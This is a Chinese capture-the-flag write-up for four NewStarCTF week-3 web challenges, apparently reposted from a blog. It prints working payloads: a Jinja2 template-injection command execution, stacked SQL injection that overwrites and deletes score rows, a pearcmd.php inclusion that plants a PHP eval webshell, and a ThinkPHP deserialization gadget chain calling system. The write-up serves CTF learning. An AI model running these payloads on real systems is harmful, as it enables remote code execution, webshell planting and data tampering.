NewStarCTF 公开赛赛道week3 web writeup

BabySSTI_One

只有一点点过滤
直接附上payload:
name={{lipsum.__globals__['__builtins__']['eval']("__import__('os').popen('tac /*').read()")}}

multiSQL

题目名字可以看出来,多SQL,堆叠注入
过滤了select 可以用show
列出库、表、字段、
发现没找到flag
而刚进入的页面是有一个可点击的页面进去看下verify.php
里面完全的没有验证,而且应该是一个简单的判断,判断成绩是否达到了425分,那么应该是使用update更新数据库信息,让火华师傅的成绩大于425即可
这里提供两种方法,一种是用replace into替换掉update,也可以使用预编译的方式
方法一:


username=1';replace into score values("火华",999,999,999);#

111';delete from score where listen=11;%23 username=1';HANDLER score OPEN;HANDLER score READ FIRST;HANDLER score CLOSE;%23

但是点击没用查询火华的成绩时候,出现两个火华,应该是多了直接删除即可
NewStarCTF 公开赛赛道week3 web writeup_第1张图片

方法二:

//update score set listen = 100 where username = '火华';
username=1';set @a = 0x7570646174652073636f726520736574206c697374656e203d2031303020776865726520757365726e616d65203d2027e781abe58d8e273b;prepare smtm_test from @a;execute smtm_test;#

IncludeTwo

这里利用到了pearcmd.php的知识
离别歌师傅的博客中讲到了这个知识点:Docker PHP裸文件包含
直接用payload:

?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=eval($_POST[1]);?>+/var/www/html/Yan9.php

接着直接访问文件就能RCE(用bp发包,否则这里的符号会被编码)

Maybe You Have To think More

进入题目,一个搜索框提示不是SQL注入
任意输入地址发现:
NewStarCTF 公开赛赛道week3 web writeup_第2张图片
一看就是thinkphp 版本漏洞了
搜索漏洞发现有getshell跟反序列化
这里有一个输入框
确定是反序列化漏洞
直接拉网上的exp打


namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["Yan9"=>["hello","world"]];
$this->data = array('Yan9'=>new Request());
}
}
class Request
{
protected $hook = [];
protected $filter;
protected $config = [
// 表单请求类型伪装变量
'var_method'       => '_method',
// 表单ajax伪装变量
'var_ajax'         => '_ajax',
// 表单pjax伪装变量
'var_pjax'         => '_pjax',
// PATHINFO变量名 用于兼容模式
'var_pathinfo'     => 's',
// 兼容PATH_INFO获取
'pathinfo_fetch'   => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
// 默认全局过滤方法 用逗号分隔多个
'default_filter'   => '',
// 域名根,如thinkphp.cn
'url_domain_root'  => '',
// HTTPS代理标识
'https_agent_name' => '',
// IP代理获取标识
'http_agent_ip'    => 'HTTP_X_REAL_IP',
// URL伪静态后缀
'url_html_suffix'  => 'html',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>''];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}
namespace think\process\pipes;
use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>

附上源码下载地址
命令执行之后发现flag在环境变量里面
NewStarCTF 公开赛赛道week3 web writeup_第3张图片

你可能感兴趣的:(writeup,前端,php,开发语言,网络安全,python)